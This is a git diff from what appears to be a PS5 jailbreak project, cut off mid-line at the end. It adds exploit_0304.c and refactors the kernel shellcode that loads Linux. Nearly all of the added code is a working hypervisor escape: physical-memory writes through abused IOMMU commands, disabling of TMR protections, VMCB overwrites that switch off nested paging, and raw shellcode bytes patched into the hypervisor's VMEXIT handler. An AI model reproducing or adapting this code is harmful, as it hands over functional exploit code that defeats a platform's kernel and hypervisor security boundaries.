diff --git a/include/offsets.h b/include/offsets.h index d46d38f..110620a 100644 --- a/include/offsets.h +++ b/include/offsets.h @@ -4,36 +4,33 @@ #include typedef struct _offset_list { - uint64_t HV_VCPU; // Needed for 1.xx and 2.xx - uint64_t HV_VCPU_CPUID; // Needed for 1.xx and 2.xx - uint64_t HV_VCPU_ARRAY_OFF; // Needed for 1.xx and 2.xx - uint64_t HV_VCPU_STRIDE; // Needed for 1.xx and 2.xx - uint64_t HV_VCPU_VMCB_PTR; // Needed for 1.xx and 2.xx - uint64_t KERNEL_CODE_CAVE; - uint64_t KERNEL_DATA_CAVE; + /* Loader utils */ uint64_t IOMMU_SOFTC; uint64_t VMSPACE_VM_VMID; uint64_t VMSPACE_VM_PMAP; - uint64_t PMAP_PM_PML4; - uint64_t PMAP_PM_CR3; uint64_t DATA_BASE_GVMSPACE; + /* Shellcode Kernel */ uint64_t HOOK_ACPI_WAKEUP_MACHDEP; + uint64_t KERNEL_CODE_CAVE; + uint64_t KERNEL_DATA_CAVE; uint64_t FUN_PRINTF; - uint64_t FUN_VA_TO_PA; uint64_t FUN_HV_IOMMU_SET_BUFFERS; uint64_t FUN_HV_IOMM_WAIT_COMPLETION; uint64_t FUN_SMP_RENDEZVOUS; uint64_t FUN_SMP_NO_RENDEVOUS_BARRIER; - uint64_t HV_HANDLE_VMEXIT_PA; + /* Shellcode HV */ uint64_t HV_CODE_CAVE_PA; - uint64_t HV_UART_OVERRIDE_PA; + uint64_t HV_HANDLE_VMEXIT_PA; + /* Patches on Kernel */ + uint64_t KERNEL_UART_OVERRIDE; + uint64_t KERNEL_DEBUG_PATCH; + uint64_t KERNEL_CFI_CHECK; + /* Internal functions to prepare boot */ uint64_t G_VBIOS; uint64_t FUN_TRANSMITTER_CONTROL; uint64_t FUN_MP3_INITIALIZE; uint64_t FUN_MP3_INVOKE; - uint64_t KERNEL_UART_OVERRIDE; - uint64_t KERNEL_DEBUG_PATCH; - uint64_t KERNEL_CFI_CHECK; + /* Wifi FW */ uint64_t PS5_WIFI_FW_OFFSET; uint64_t PS5_WIFI_FW_SIZE; } offset_list; diff --git a/include/prepare_resume.h b/include/prepare_resume.h index b8d3c0f..d4145a5 100644 --- a/include/prepare_resume.h +++ b/include/prepare_resume.h @@ -5,7 +5,7 @@ extern struct linux_info linux_i; int prepare_resume(void); -int update_sck_data_ptr (void* sc, uint64_t dest_text, uint64_t dest_data); +int update_sck_data_ptr(void *sc, uint64_t dest_text, uint64_t dest_data); void hook_call_near(uint64_t hook, uint64_t dst); void prepare_sck_args(uint64_t dest_data); diff --git a/include/utils.h b/include/utils.h index db9a366..e37acdb 100644 --- a/include/utils.h +++ b/include/utils.h @@ -1,8 +1,8 @@ #ifndef UTILS_H #define UTILS_H -#include "offsets.h" #include "linux.h" +#include "offsets.h" #include #include #include @@ -48,12 +48,12 @@ extern struct linux_info linux_i; // Declared on main.c int setup_env(void); -static inline void kwrite_large(uint64_t ka, void* src, uint64_t len) { +static inline void kwrite_large(uint64_t ka, void *src, uint64_t len) { uint32_t CHUNK = 0x1000; uint64_t written = 0; while (written < len) { uint32_t n = (len - written > CHUNK) ? CHUNK : (uint32_t)(len - written); - kernel_copyin(src + written, ka + written, n); + kernel_copyin(src + written, ka + written, n); written += n; } } @@ -136,9 +136,9 @@ enum page_bits { #define pmap_pde_index(va) ((va >> 21) & 0x1FF) #define pmap_pte_index(va) ((va >> 12) & 0x1FF) -uint64_t va_to_pa_user(uint64_t va); -uint64_t va_to_pa_kernel(uint64_t va); -uint64_t va_to_pa_custom(uint64_t va, uint64_t cr3_custom); +uint64_t vtophys_user(uint64_t va); +uint64_t vtophys(uint64_t va); +uint64_t vtophys_custom(uint64_t va, uint64_t cr3_custom); uint64_t pa_to_dmap(uint64_t pa); void page_chain_set_rw(uint64_t va); uint64_t page_remove_global(uint64_t va); diff --git a/shellcode_hv/main.c b/shellcode_hv/main.c index e9bbdd3..24f3002 100644 --- a/shellcode_hv/main.c +++ b/shellcode_hv/main.c @@ -1,4 +1,3 @@ -#include "main.h" #include "../include/config.h" #include "boot_linux.h" #include "utils.h" diff --git a/shellcode_hv/utils.c b/shellcode_hv/utils.c index ce8486e..e2a5425 100644 --- a/shellcode_hv/utils.c +++ b/shellcode_hv/utils.c @@ -1,9 +1,6 @@ #include "utils.h" -#include "shellcode_hv_args.h" #include -extern shellcode_hv_args args; - __attribute__((noinline, optimize("O0"))) uint32_t putc_uart(uint8_t tx_byte) { volatile uint32_t *uart_tx = (volatile uint32_t *)0xc1010104ULL; volatile uint32_t *uart_busy = (volatile uint32_t *)0xc101010cULL; diff --git a/shellcode_kernel/Makefile b/shellcode_kernel/Makefile index 9d3ec17..4d8f6eb 100644 --- a/shellcode_kernel/Makefile +++ b/shellcode_kernel/Makefile @@ -13,7 +13,7 @@ TARGET = shellcode_kernel.elf TEXT_BIN = shellcode_kernel.bin dump = shellcode_kernel.h -SRC = main.c utils.c boot_linux.c +SRC = $(wildcard *.c) OBJ = $(SRC:.c=.o) all: $(dump) diff --git a/shellcode_kernel/boot_linux.c b/shellcode_kernel/boot_linux.c index fda50bc..3b2fb31 100644 --- a/shellcode_kernel/boot_linux.c +++ b/shellcode_kernel/boot_linux.c @@ -2,8 +2,6 @@ #include "../include/config.h" #include "../include/linux.h" #include "../shellcode_hv/shellcode_hv.h" -#include "../shellcode_hv/shellcode_hv_args.h" -#include "shellcode_kernel_args.h" #include "utils.h" #include @@ -86,12 +84,10 @@ static int mp3_enable_output(int be, int mode) { return mp3_invoke(22, mp3_req, mp3_rsp); } -static void patch_hv(void) { +static void install_hv_code(void) { // Install identity map for HV uint64_t identity_cr3 = cave_hv_paging; - uint64_t identity_pml4_0 = - identity_cr3 + - 0x1003ULL; + uint64_t identity_pml4_0 = identity_cr3 + 0x1003ULL; uint64_t l40_l3_addr = PAGE_PA(identity_pml4_0); // addr PML4[0] uint64_t identity_pml40_l3[] = { 0x0000000000000083, // P, RW, US=0 - 0 GB to 1 GB @@ -108,44 +104,15 @@ static void patch_hv(void) { *(uint64_t *)PHYS_TO_DMAP(l40_l3_addr + i * 8) = identity_pml40_l3[i]; } - // Install hv_shellcode 2 + // Install shellcode_hv memcpy((void *)PHYS_TO_DMAP(cave_hv_code), shellcode_hv_bin, shellcode_hv_bin_len); - - // Jump to shellcode final identity mapping - uint8_t shellcode_jmp[] = { - 0x48, 0xC7, 0xC0, 0x00, 0x6F, 0x80, 0x62, // mov rax, 0x62806f00 - 0xFF, 0xE0, 0xC3, 0xC3, 0xC3, 0xC3, 0xC3, // jmp rax - 0xC3, 0xC3}; - - // Update code cave in hv 1:1 region - *(uint32_t *)(&shellcode_jmp[3]) = (uint32_t)args.hv_code_cave_pa; - - // Just patch the VMEXIT handler directly, avoiding all checks - memcpy((void *)PHYS_TO_DMAP(args.hv_handle_vmexit_pa), shellcode_jmp, - sizeof(shellcode_jmp)); - - uint8_t shellcode_identity_and_jmp[] = { - 0x48, 0xB8, 0x00, 0x00, 0x00, - 0x00, 0x01, 0x00, 0x00, 0x00, // movabs rax, 0x100000000 - 0x0F, 0x22, 0xD8, // mov cr3, rax - 0x48, 0xB8, 0x00, 0x30, 0x00, - 0x00, 0x01, 0x00, 0x00, 0x00, // movabs rax, 0x100003000 - 0xFF, 0xE0 // jmp rax - }; - - // Update CR3 PA (from config) - *(uint64_t *)(&shellcode_identity_and_jmp[2]) = cave_hv_paging; - // Update HV shellcode cave - *(uint64_t *)(&shellcode_identity_and_jmp[15]) = cave_hv_code; - - // Install shellcode 1 to update CR3 and jump to main HV shellcode - memcpy((void *)PHYS_TO_DMAP(args.hv_code_cave_pa), shellcode_identity_and_jmp, - sizeof(shellcode_identity_and_jmp)); } void boot_linux(void) { - patch_hv(); + + // Common bootloader code + install_hv_code(); memcpy((void *)PHYS_TO_DMAP(0xC0000), (void *)g_vbios, 0x10000); diff --git a/shellcode_kernel/boot_linux.h b/shellcode_kernel/boot_linux.h index 58a552d..5e078a9 100644 --- a/shellcode_kernel/boot_linux.h +++ b/shellcode_kernel/boot_linux.h @@ -6,7 +6,7 @@ #define ALIGN_UP(size, align) (((size) + (align) - 1) & ~((align) - 1)) static int dp_enable_link_phy(int lanenum, int linkrate); -static void patch_hv(void); +static void install_hv_code(void); void boot_linux(void); extern int (*transmitter_control)(int cmd, void *control); diff --git a/shellcode_kernel/exploit_0304.c b/shellcode_kernel/exploit_0304.c new file mode 100644 index 0000000..b709575 --- /dev/null +++ b/shellcode_kernel/exploit_0304.c @@ -0,0 +1,154 @@ +#include "exploit_0304.h" +#include "../include/config.h" +#include "shellcode_kernel_args.h" +#include "utils.h" + +uint32_t (*hv_iommu_set_buffers)(uint64_t cb2_pa, uint64_t cb3_pa, + uint64_t eb_pa, uint64_t unk, int *n_devices); +uint32_t (*hv_iommu_wait_completion)(void); + +int disable_npts_0304(volatile shellcode_kernel_args *args_ptr) { + uint64_t iommu_cb2_pa = vtophys(args_ptr->dmap_base, args_ptr->iommu_cb2_va); + uint64_t iommu_cb3_pa = vtophys(args_ptr->dmap_base, args_ptr->iommu_cb3_va); + uint64_t iommu_eb_pa = vtophys(args_ptr->dmap_base, args_ptr->iommu_eb_va); + + uint64_t unk; + int n_devices; + + // Reconfigure IOMMU calling the HV + int ret = ((uint64_t(*)(uint64_t, uint64_t, uint64_t, uint64_t, + int *))args_ptr->fun_hv_iommu_set_buffers)( + iommu_cb2_pa, iommu_cb3_pa, iommu_eb_pa, (uint64_t)&unk, &n_devices); + if (ret != 0) { + puts_uart(args_ptr->dmap_base, (char[]){"IOMMU sb X\n"}); + return -1; + } + + ret = ((uint64_t(*)(void))args_ptr->fun_hv_iommu_wait_completion)(); + if (ret) { + puts_uart(args_ptr->dmap_base, (char[]){"IOMMU sb NO OK\n"}); + return -1; + } + + puts_uart(args_ptr->dmap_base, (char[]){"IOMMU sb OK\n"}); + + if (tmr_disable(args_ptr->dmap_base)) { + puts_uart(args_ptr->dmap_base, (char[]){"TMR NO OK\n"}); + return -1; + } + + puts_uart(args_ptr->dmap_base, (char[]){"TMR OK\n"}); + + patch_vmcb(args_ptr); + puts_uart(args_ptr->dmap_base, (char[]){"VMCB OK\n"}); + + // Re-do this to force a VMEXIT without HV injecting faults + ((uint64_t(*)(uint64_t, uint64_t, uint64_t, uint64_t, + int *))args_ptr->fun_hv_iommu_set_buffers)( + iommu_cb2_pa, iommu_cb3_pa, iommu_eb_pa, (uint64_t)&unk, &n_devices); + ((uint64_t(*)(void))args_ptr->fun_hv_iommu_wait_completion)(); + puts_uart(args_ptr->dmap_base, (char[]){"Back from HV\n"}); + + return 0; +} + +void patch_hv_0304(void) { + // Jump to shellcode final identity mapping + uint8_t shellcode_jmp[] = { + 0x48, 0xC7, 0xC0, 0x00, 0x6F, 0x80, 0x62, // mov rax, 0x62806f00 + 0xFF, 0xE0, 0xC3, 0xC3, 0xC3, 0xC3, 0xC3, // jmp rax + 0xC3, 0xC3}; + + // Update code cave in hv 1:1 region + *(uint32_t *)(&shellcode_jmp[3]) = (uint32_t)args.hv_code_cave_pa; + + // Just patch the VMEXIT handler directly, avoiding all checks + memcpy((void *)PHYS_TO_DMAP(args.hv_handle_vmexit_pa), shellcode_jmp, + sizeof(shellcode_jmp)); + + uint8_t shellcode_identity_and_jmp[] = { + 0x48, 0xB8, 0x00, 0x00, 0x00, + 0x00, 0x01, 0x00, 0x00, 0x00, // movabs rax, 0x100000000 + 0x0F, 0x22, 0xD8, // mov cr3, rax + 0x48, 0xB8, 0x00, 0x30, 0x00, + 0x00, 0x01, 0x00, 0x00, 0x00, // movabs rax, 0x100003000 + 0xFF, 0xE0 // jmp rax + }; + + // Update CR3 PA (from config) + *(uint64_t *)(&shellcode_identity_and_jmp[2]) = cave_hv_paging; + // Update HV shellcode cave + *(uint64_t *)(&shellcode_identity_and_jmp[15]) = cave_hv_code; + + // Install shellcode to update CR3 and jump to main HV shellcode + memcpy((void *)PHYS_TO_DMAP(args.hv_code_cave_pa), shellcode_identity_and_jmp, + sizeof(shellcode_identity_and_jmp)); +} + +__attribute__((noinline, optimize("O0"))) void +iommu_submit_cmd(volatile shellcode_kernel_args *args_ptr, uint64_t *cmd) { + uint64_t curr_tail = + *((uint64_t *)args_ptr->iommu_mmio_va + IOMMU_MMIO_CB_TAIL / 8); + uint64_t next_tail = (curr_tail + IOMMU_CMD_ENTRY_SIZE) & IOMMU_CB_MASK; + + uint64_t *cmd_buffer = (uint64_t *)args_ptr->iommu_cb2_va + curr_tail / 8; + + cmd_buffer[0] = cmd[0]; + cmd_buffer[1] = cmd[1]; + + __asm__ volatile("" : : : "memory"); + + *((uint64_t *)args_ptr->iommu_mmio_va + IOMMU_MMIO_CB_TAIL / 8) = next_tail; + + while (*((uint64_t *)args_ptr->iommu_mmio_va + IOMMU_MMIO_CB_HEAD / 8) != + *((uint64_t *)args_ptr->iommu_mmio_va + IOMMU_MMIO_CB_TAIL / 8)) + ; +} + +__attribute__((noinline, optimize("O0"))) void +iommu_write8_pa(volatile shellcode_kernel_args *args_ptr, uint64_t pa, + uint64_t val) { + uint32_t cmd[4] = {0}; + cmd[0] = (uint32_t)(pa & 0xFFFFFFF8) | 0x05; + cmd[1] = ((uint32_t)(pa >> 32) & 0xFFFFF) | 0x10000000; + cmd[2] = (uint32_t)(val); + cmd[3] = (uint32_t)(val >> 32); + iommu_submit_cmd(args_ptr, (uint64_t *)cmd); +} + +__attribute__((noinline, optimize("O0"))) void +patch_vmcb(volatile shellcode_kernel_args *args_ptr) { + for (int i = 0; i < 16; i++) { + uint64_t pa = args_ptr->vmcb[i]; + + iommu_write8_pa(args_ptr, pa + 0x00, 0x0000000000000000ULL); + iommu_write8_pa(args_ptr, pa + 0x08, 0x0004000000000000ULL); + iommu_write8_pa(args_ptr, pa + 0x10, 0x000000000000000FULL); + iommu_write8_pa(args_ptr, pa + 0x58, 0x0000000000000001ULL); + iommu_write8_pa(args_ptr, pa + 0x90, 0x0000000000000000ULL); + } +} + +__attribute__((noinline, optimize("O0"))) uint32_t tmr_read(uint64_t dmap, + uint32_t addr) { + *(uint32_t *)(dmap + ECAM_B0D18F2 + TMR_INDEX_OFF) = addr; + return *(uint32_t *)(dmap + ECAM_B0D18F2 + TMR_DATA_OFF); +} + +__attribute__((noinline, optimize("O0"))) void +tmr_write(uint64_t dmap, uint32_t addr, uint32_t val) { + *(uint32_t *)(dmap + ECAM_B0D18F2 + TMR_INDEX_OFF) = addr; + *(uint32_t *)(dmap + ECAM_B0D18F2 + TMR_DATA_OFF) = val; +} + +__attribute__((noinline, optimize("O0"))) int tmr_disable(uint64_t dmap) { + for (int i = 0; i < 24; i++) { + if (tmr_read(dmap, TMR_CONFIG(i)) != 0) { + tmr_write(dmap, TMR_CONFIG(i), 0); + if (tmr_read(dmap, TMR_CONFIG(i)) != 0) { + return -1; + } + } + } + return 0; +} \ No newline at end of file diff --git a/shellcode_kernel/exploit_0304.h b/shellcode_kernel/exploit_0304.h new file mode 100644 index 0000000..3e170d2 --- /dev/null +++ b/shellcode_kernel/exploit_0304.h @@ -0,0 +1,49 @@ +#ifndef EXPLOIT_0304_H +#define EXPLOIT_0304_H +#include "shellcode_kernel_args.h" + +extern uint32_t (*hv_iommu_set_buffers)(uint64_t cb2_pa, uint64_t cb3_pa, + uint64_t eb_pa, uint64_t unk, + int *n_devices); +extern uint32_t (*hv_iommu_wait_completion)(void); + +int disable_npts_0304(volatile shellcode_kernel_args *args_ptr); +void patch_hv_0304(void); + +// tmr via ecam b0d18f2 +#ifndef ECAM_B0D18F2 +#define ECAM_B0D18F2 (0xF0000000ULL + 0x18ULL * 0x8000 + 2 * 0x1000) +#define TMR_INDEX_OFF 0x80 +#define TMR_DATA_OFF 0x84 +#endif + +// tmr layout (hardware) +#define TMR_BASE(n) ((n) * 0x10 + 0x00) +#define TMR_LIMIT(n) ((n) * 0x10 + 0x04) +#define TMR_CONFIG(n) ((n) * 0x10 + 0x08) +#define TMR_REQUESTORS(n) ((n) * 0x10 + 0x0C) +#define TMR_CFG_PERMISSIVE 0x3F07 +#define MAX_TMR 22 +#define MAX_SAVED_TMRS 8 + +uint32_t tmr_read(uint64_t dmap, uint32_t addr); +void tmr_write(uint64_t dmap, uint32_t addr, uint32_t val); +int tmr_disable(uint64_t dmap); + +// Command buffer MMIO offsets +#define IOMMU_MMIO_CB_HEAD 0xa000 +#define IOMMU_MMIO_CB_TAIL 0xa008 + +// Queue constants +#define IOMMU_CB_SIZE 0x2000 +#define IOMMU_CB_MASK (IOMMU_CB_SIZE - 1) +#define IOMMU_CMD_ENTRY_SIZE 0x10 + +// Submit a single 16-byte command and wait for completion +void iommu_submit_cmd(volatile shellcode_kernel_args *args_ptr, uint64_t *cmd); +// Write 8 bytes to a physical address using IOMMU completion wait store +void iommu_write8_pa(volatile shellcode_kernel_args *args_ptr, uint64_t pa, + uint64_t val); + +void patch_vmcb(volatile shellcode_kernel_args *args_ptr); +#endif diff --git a/shellcode_kernel/main.c b/shellcode_kernel/main.c index 9e3988f..e10efaa 100644 --- a/shellcode_kernel/main.c +++ b/shellcode_kernel/main.c @@ -1,6 +1,8 @@ #include "main.h" #include "boot_linux.h" +#include "exploit_0304.h" #include "utils.h" +#include #include shellcode_kernel_args args = {0}; @@ -12,187 +14,39 @@ __attribute__((section(".entry_point"))) uint32_t main(uint64_t add1, volatile shellcode_kernel_args *args_ptr = (volatile shellcode_kernel_args *)0x11AA11AA11AA11AA; // To be replaced with proper address in .kdata - // by loader // "Hide" the pointer from the optimizer __asm__ volatile("" : "+r"(args_ptr)); // We don't have required information - Abort if ((args_ptr->fun_printf & 0xFFFF) == 0) { - goto out; + return -1; } - // Activate UART on Kernel - uint32_t *uart_va = (uint32_t *)(args_ptr->dmap_base + 0xC0115110ULL); - *uart_va &= ~0x200; - uint32_t *override_char_va = (uint32_t *)args_ptr->kernel_uart_override; - *override_char_va = 0x0; + activate_uart(args_ptr); - uint64_t iommu_cb2_pa = - ((uint64_t(*)(uint64_t))args_ptr->fun_va_to_pa)(args_ptr->iommu_cb2_va); - uint64_t iommu_cb3_pa = - ((uint64_t(*)(uint64_t))args_ptr->fun_va_to_pa)(args_ptr->iommu_cb3_va); - uint64_t iommu_eb_pa = - ((uint64_t(*)(uint64_t))args_ptr->fun_va_to_pa)(args_ptr->iommu_eb_va); - - uint64_t unk; - int n_devices; - - // Reconfigure IOMMU calling the HV - int ret = ((uint64_t(*)(uint64_t, uint64_t, uint64_t, uint64_t, - int *))args_ptr->fun_hv_iommu_set_buffers)( - iommu_cb2_pa, iommu_cb3_pa, iommu_eb_pa, (uint64_t)&unk, &n_devices); - - if (ret != 0) { - puts_uart(args_ptr->dmap_base, (char[]){"IOMMU sb X\n"}); - goto out; - } - - ret = ((uint64_t(*)(void))args_ptr->fun_hv_iommu_wait_completion)(); - - if (ret == 0) { - puts_uart(args_ptr->dmap_base, (char[]){"IOMMU sb OK\n"}); - - if (tmr_disable(args_ptr->dmap_base)) { - puts_uart(args_ptr->dmap_base, (char[]){"TMR X\n"}); - goto out; - } - - puts_uart(args_ptr->dmap_base, (char[]){"TMR OK\n"}); - - patch_vmcb(args_ptr); - - puts_uart(args_ptr->dmap_base, (char[]){"VMCB OK\n"}); - - // Re-do this to force a VMEXIT without HV injecting faults - ((uint64_t(*)(uint64_t, uint64_t, uint64_t, uint64_t, - int *))args_ptr->fun_hv_iommu_set_buffers)( - iommu_cb2_pa, iommu_cb3_pa, iommu_eb_pa, (uint64_t)&unk, &n_devices); - ((uint64_t(*)(void))args_ptr->fun_hv_iommu_wait_completion)(); - - puts_uart(args_ptr->dmap_base, (char[]){"Back from HV\n"}); - - // We can now initiate the global args variable and use it, as NPTs are - // disabled + if ((0x0300 <= args_ptr->fw_version) && (args_ptr->fw_version < 0x0500)) { + if (disable_npts_0304(args_ptr)) + return -1; + // Now we can R/W on .text init_global_pointers(args_ptr); - - printf("HV_Defeat: we should be ready for Linux part\n"); - - boot_linux(); - printf("Linux prepared OK\n"); - - printf("Calling smp_rendezvous to exit all cores to HV with ptr: %016lx\n", - (uint64_t)vmmcall_dummy); - printf("Good Bye VM :)\n"); - - smp_rendezvous(smp_no_rendevous_barrier, vmmcall_dummy, - smp_no_rendevous_barrier, NULL); - - printf("We shouldn't be here :(\n"); + patch_hv_0304(); + } else if ((0x0500 <= args_ptr->fw_version) && + (args_ptr->fw_version < 0x0650)) { + // escape_hv_0506(); + // Now we can R/W on .text + // init_global_pointers(args_ptr); } else { - puts_uart(args_ptr->dmap_base, (char[]){"IOMMU sb NO OK\n"}); + return 0; } -out: + boot_linux(); + printf("Linux prepared OK\n"); + + printf("Good Bye VM :)\n"); + smp_rendezvous(smp_no_rendevous_barrier, vmmcall_dummy, + smp_no_rendevous_barrier, NULL); + + printf("We shouldn't be here :(\n"); return 0; } - -__attribute__((noinline, optimize("O0"), naked)) void vmmcall_dummy(void) { - __asm__ volatile("mov $0x1, %rax \n" - "vmmcall \n" - "ret \n"); -} - -void halt(void) { __asm__ __volatile__("hlt"); } - -// Submit a single 16-byte command and wait for completion -__attribute__((noinline, optimize("O0"))) void -iommu_submit_cmd(volatile shellcode_kernel_args *args_ptr, uint64_t *cmd) { - uint64_t curr_tail = *( - (uint64_t *)args_ptr->iommu_mmio_va + - IOMMU_MMIO_CB_TAIL / - 8); - uint64_t next_tail = (curr_tail + IOMMU_CMD_ENTRY_SIZE) & - IOMMU_CB_MASK; - - uint64_t *cmd_buffer = (uint64_t *)args_ptr->iommu_cb2_va + - curr_tail / 8; - - cmd_buffer[0] = cmd[0]; - cmd_buffer[1] = cmd[1]; - - __asm__ volatile("" : : : "memory"); - - *((uint64_t *)args_ptr->iommu_mmio_va + IOMMU_MMIO_CB_TAIL / 8) = next_tail; - - while (*((uint64_t *)args_ptr->iommu_mmio_va + IOMMU_MMIO_CB_HEAD / 8) != - *((uint64_t *)args_ptr->iommu_mmio_va + IOMMU_MMIO_CB_TAIL / 8)) - ; -} - -__attribute__((noinline, optimize("O0"))) void -iommu_write8_pa(volatile shellcode_kernel_args *args_ptr, uint64_t pa, - uint64_t val) { - uint32_t cmd[4] = {0}; - cmd[0] = (uint32_t)(pa & 0xFFFFFFF8) | 0x05; - cmd[1] = ((uint32_t)(pa >> 32) & 0xFFFFF) | 0x10000000; - cmd[2] = (uint32_t)(val); - cmd[3] = (uint32_t)(val >> 32); - iommu_submit_cmd(args_ptr, (uint64_t *)cmd); -} - -__attribute__((noinline, optimize("O0"))) void -patch_vmcb(volatile shellcode_kernel_args *args_ptr) { - for (int i = 0; i < 16; i++) { - uint64_t pa = args_ptr->vmcb[i]; - - iommu_write8_pa(args_ptr, pa + 0x00, - 0x0000000000000000ULL); - iommu_write8_pa(args_ptr, pa + 0x08, - 0x0004000000000000ULL); - iommu_write8_pa(args_ptr, pa + 0x10, - 0x000000000000000FULL); - iommu_write8_pa(args_ptr, pa + 0x58, - 0x0000000000000001ULL); - iommu_write8_pa(args_ptr, pa + 0x90, - 0x0000000000000000ULL); - } -} - -__attribute__((noinline, optimize("O0"))) uint32_t tmr_read(uint64_t dmap, - uint32_t addr) { - *(uint32_t *)(dmap + ECAM_B0D18F2 + TMR_INDEX_OFF) = addr; - return *(uint32_t *)(dmap + ECAM_B0D18F2 + TMR_DATA_OFF); -} - -__attribute__((noinline, optimize("O0"))) void -tmr_write(uint64_t dmap, uint32_t addr, uint32_t val) { - *(uint32_t *)(dmap + ECAM_B0D18F2 + TMR_INDEX_OFF) = addr; - *(uint32_t *)(dmap + ECAM_B0D18F2 + TMR_DATA_OFF) = val; -} - -__attribute__((noinline, optimize("O0"))) int tmr_disable(uint64_t dmap) { - for (int i = 0; i < 24; i++) { - if (tmr_read(dmap, TMR_CONFIG(i)) != 0) { - tmr_write(dmap, TMR_CONFIG(i), 0); - if (tmr_read(dmap, TMR_CONFIG(i)) != 0) { - return -1; - } - } - } - return 0; -} - -void init_global_pointers(volatile shellcode_kernel_args *args_ptr) { - memcpy(&args, (void *)args_ptr, sizeof(args)); - - printf = (void (*)(const char *, ...))args.fun_printf; - smp_rendezvous = (void (*)(void (*)(void), void (*)(void), void (*)(void), - void *))args.fun_smp_rendezvous; - smp_no_rendevous_barrier = (void (*)(void))args.fun_smp_no_rendevous_barrier; - - transmitter_control = (int (*)(int, void *))args.fun_transmitter_control; - mp3_initialize = (int (*)(int))args.fun_mp3_initialize; - mp3_invoke = (int (*)(int, void *, void *))args.fun_mp3_invoke; - g_vbios = args.g_vbios; -} diff --git a/shellcode_kernel/main.h b/shellcode_kernel/main.h index c2feed4..276f360 100644 --- a/shellcode_kernel/main.h +++ b/shellcode_kernel/main.h @@ -4,62 +4,10 @@ #include void (*printf)(const char *format, ...); -uint32_t (*AcpiSetFirmwareWakingVector)(uint64_t PhysicalAddress, - uint64_t PhysicalAddress64); -uint64_t (*kernel_va_to_pa)(uint64_t va); -uint32_t (*hv_iommu_set_buffers)(uint64_t cb2_pa, uint64_t cb3_pa, - uint64_t eb_pa, uint64_t unk, int *n_devices); -uint32_t (*hv_iommu_wait_completion)(void); void (*smp_rendezvous)(void (*setup_func)(void), void (*action_func)(void), void (*teardown_func)(void), void *arg); void (*smp_no_rendevous_barrier)(void); -// We are being called instead of AcpiSetFirmwareWakingVector from -// acpi_wakeup_machdep uint32_t main(uint64_t add1, uint64_t add2); -uint64_t rdmsr(uint32_t msr); - -// tmr via ecam b0d18f2 -#ifndef ECAM_B0D18F2 -#define ECAM_B0D18F2 (0xF0000000ULL + 0x18ULL * 0x8000 + 2 * 0x1000) -#define TMR_INDEX_OFF 0x80 -#define TMR_DATA_OFF 0x84 -#endif - -// tmr layout (hardware) -#define TMR_BASE(n) ((n) * 0x10 + 0x00) -#define TMR_LIMIT(n) ((n) * 0x10 + 0x04) -#define TMR_CONFIG(n) ((n) * 0x10 + 0x08) -#define TMR_REQUESTORS(n) ((n) * 0x10 + 0x0C) -#define TMR_CFG_PERMISSIVE 0x3F07 -#define MAX_TMR 22 -#define MAX_SAVED_TMRS 8 - -uint32_t tmr_read(uint64_t dmap, uint32_t addr); -void tmr_write(uint64_t dmap, uint32_t addr, uint32_t val); -int tmr_disable(uint64_t dmap); - -// Command buffer MMIO offsets -#define IOMMU_MMIO_CB_HEAD 0xa000 -#define IOMMU_MMIO_CB_TAIL 0xa008 - -// Queue constants -#define IOMMU_CB_SIZE 0x2000 -#define IOMMU_CB_MASK (IOMMU_CB_SIZE - 1) -#define IOMMU_CMD_ENTRY_SIZE 0x10 - -// Submit a single 16-byte command and wait for completion -void iommu_submit_cmd(volatile shellcode_kernel_args *args_ptr, uint64_t *cmd); -// Write 8 bytes to a physical address using IOMMU completion wait store -void iommu_write8_pa(volatile shellcode_kernel_args *args_ptr, uint64_t pa, - uint64_t val); - -void patch_vmcb(volatile shellcode_kernel_args *args_ptr); - -#define NULL (void *)0 -void vmmcall_dummy(void); -void halt(void); -void init_global_pointers(volatile shellcode_kernel_args *args_ptr); - #endif diff --git a/shellcode_kernel/shellcode_kernel_args.h b/shellcode_kernel/shellcode_kernel_args.h index b40e7f3..caefeb1 100644 --- a/shellcode_kernel/shellcode_kernel_args.h +++ b/shellcode_kernel/shellcode_kernel_args.h @@ -5,12 +5,12 @@ #include typedef struct { - uint32_t fw_version; + uint16_t fw_version; uint64_t ktext; uint64_t kdata; uint64_t dmap_base; uint64_t fun_printf; - uint64_t fun_va_to_pa; + uint64_t fun_vtophys; uint64_t fun_hv_iommu_set_buffers; uint64_t fun_hv_iommu_wait_completion; uint64_t fun_acpi_set_fw_waking_vector; @@ -28,7 +28,6 @@ typedef struct { uint64_t kernel_uart_override; uint64_t hv_handle_vmexit_pa; uint64_t hv_code_cave_pa; - uint64_t hv_uart_override_pa; uint64_t linux_info_va; // To relocate by kernel shellcode } shellcode_kernel_args; diff --git a/shellcode_kernel/utils.c b/shellcode_kernel/utils.c index 825c343..fb0d111 100644 --- a/shellcode_kernel/utils.c +++ b/shellcode_kernel/utils.c @@ -15,27 +15,23 @@ void memcpy(void *dest, void *src, uint64_t len) { uint64_t read_cr3(void) { uint64_t cr3; - __asm__ volatile("mov %%cr3, %0" - : "=r"(cr3) - : - : - ); + __asm__ volatile("mov %%cr3, %0" : "=r"(cr3) : :); return cr3; } -uint64_t va_to_pa_kernel(uint64_t va) { +uint64_t vtophys(uint64_t dmap, uint64_t va) { uint64_t cr3 = read_cr3(); - return va_to_pa_custom(va, cr3); + return vtophys_custom(dmap, va, cr3); } -uint64_t va_to_pa_custom(uint64_t va, uint64_t cr3_custom) { +uint64_t vtophys_custom(uint64_t dmap, uint64_t va, uint64_t cr3_custom) { uint64_t table_phys = cr3_custom & 0xFFFFFFFF; for (int level = 0; level < 4; level++) { int shift = 39 - (level * 9); uint64_t idx = (va >> shift) & 0x1FF; uint64_t entry; - uint64_t entry_va = PHYS_TO_DMAP(PAGE_PA(table_phys) + idx * 8); + uint64_t entry_va = dmap + PAGE_PA(table_phys) + idx * 8; entry = *(uint64_t *)entry_va; @@ -55,8 +51,7 @@ uint64_t va_to_pa_custom(uint64_t va, uint64_t cr3_custom) { return 0; } -__attribute__((noinline, optimize("O0"))) uint32_t putc_uart(uint64_t dmap, - uint8_t tx_byte) { +uint32_t putc_uart(uint64_t dmap, uint8_t tx_byte) { volatile uint32_t *uart_tx = (uint32_t *)(dmap + 0xc1010104ULL); volatile uint32_t *uart_busy = (uint32_t *)(dmap + 0xc101010cULL); uint64_t timeout = 0xFFFFFFFF; @@ -73,7 +68,7 @@ __attribute__((noinline, optimize("O0"))) uint32_t putc_uart(uint64_t dmap, return 0; } -__attribute__((noinline, optimize("O0"))) int puts_uart(uint64_t dmap, const uint8_t *msg) { +int puts_uart(uint64_t dmap, const 